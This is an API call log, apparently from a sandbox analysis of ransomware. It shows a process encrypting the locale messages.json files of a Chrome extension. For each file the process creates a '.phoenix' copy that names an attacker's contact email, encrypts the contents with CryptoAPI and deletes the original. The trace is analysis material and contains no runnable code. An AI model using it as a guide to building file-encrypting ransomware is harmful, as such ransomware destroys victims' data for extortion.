	[0256.139] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0256.139] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=209) returned 1
	[0256.140] CloseHandle (hObject=0x2b4) returned 1
	[0256.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json")) returned 0x20
	[0256.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.140] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0256.140] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.140] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.140] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0256.140] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151640) returned 1
	[0256.140] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.140] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xd1, lpOverlapped=0x0) returned 1
	[0256.141] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0, dwBufLen=0xe0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0) returned 1
	[0256.141] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe0, lpOverlapped=0x0) returned 1
	[0256.142] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151340) returned 1
	[0256.142] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.142] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0256.142] CryptDestroyKey (hKey=0x151340) returned 1
	[0256.142] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0256.142] CryptDestroyKey (hKey=0x151640) returned 1
	[0256.142] CloseHandle (hObject=0x2b4) returned 1
	[0256.142] CloseHandle (hObject=0x300) returned 1
	[0256.142] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json")) returned 1
	[0256.143] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0256.143] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0256.143] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=213) returned 1
	[0256.144] CloseHandle (hObject=0x300) returned 1
	[0256.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json")) returned 0x20
	[0256.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.144] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0256.144] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.144] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.144] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0256.144] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151780) returned 1
	[0256.144] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.144] ReadFile (in: hFile=0x300, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xd5, lpOverlapped=0x0) returned 1
	[0256.145] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0, dwBufLen=0xe0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0) returned 1
	[0256.145] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe0, lpOverlapped=0x0) returned 1
	[0256.146] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1513c0) returned 1
	[0256.146] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.146] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0256.146] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0256.146] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0256.146] CryptDestroyKey (hKey=0x151780) returned 1
	[0256.146] CloseHandle (hObject=0x300) returned 1
	[0256.146] CloseHandle (hObject=0x2b4) returned 1
	[0256.146] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json")) returned 1
	[0256.147] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0256.147] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0256.148] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=221) returned 1
	[0256.148] CloseHandle (hObject=0x2b4) returned 1
	[0256.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json")) returned 0x20
	[0256.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.148] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0256.148] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.148] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.148] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0256.148] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151340) returned 1
	[0256.148] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.148] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xdd, lpOverlapped=0x0) returned 1
	[0256.249] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0, dwBufLen=0xe0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0) returned 1
	[0256.249] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe0, lpOverlapped=0x0) returned 1
	[0256.730] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151640) returned 1
	[0256.731] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.731] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0256.731] CryptDestroyKey (hKey=0x151640) returned 1
	[0256.731] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0256.731] CryptDestroyKey (hKey=0x151340) returned 1
	[0256.731] CloseHandle (hObject=0x2b4) returned 1
	[0256.731] CloseHandle (hObject=0x300) returned 1
	[0256.731] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json")) returned 1
	[0256.732] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0256.732] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0256.732] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=214) returned 1
	[0256.732] CloseHandle (hObject=0x300) returned 1
	[0256.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json")) returned 0x20
	[0256.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.733] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0256.733] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.733] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.733] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0256.733] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0256.733] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.733] ReadFile (in: hFile=0x300, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xd6, lpOverlapped=0x0) returned 1
	[0256.734] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0, dwBufLen=0xe0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0) returned 1
	[0256.734] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe0, lpOverlapped=0x0) returned 1
	[0256.735] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151640) returned 1
	[0256.735] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0256.735] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0256.735] CryptDestroyKey (hKey=0x151640) returned 1
	[0256.735] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0256.735] CryptDestroyKey (hKey=0x151500) returned 1
	[0256.735] CloseHandle (hObject=0x300) returned 1
	[0256.735] CloseHandle (hObject=0x2b4) returned 1
	[0256.735] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json")) returned 1
	[0256.736] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0256.736] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0256.736] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=254) returned 1
	[0256.737] CloseHandle (hObject=0x2b4) returned 1
	[0256.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json")) returned 0x20
	[0256.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.737] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0256.737] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.737] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0256.737] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0256.738] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0256.738] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
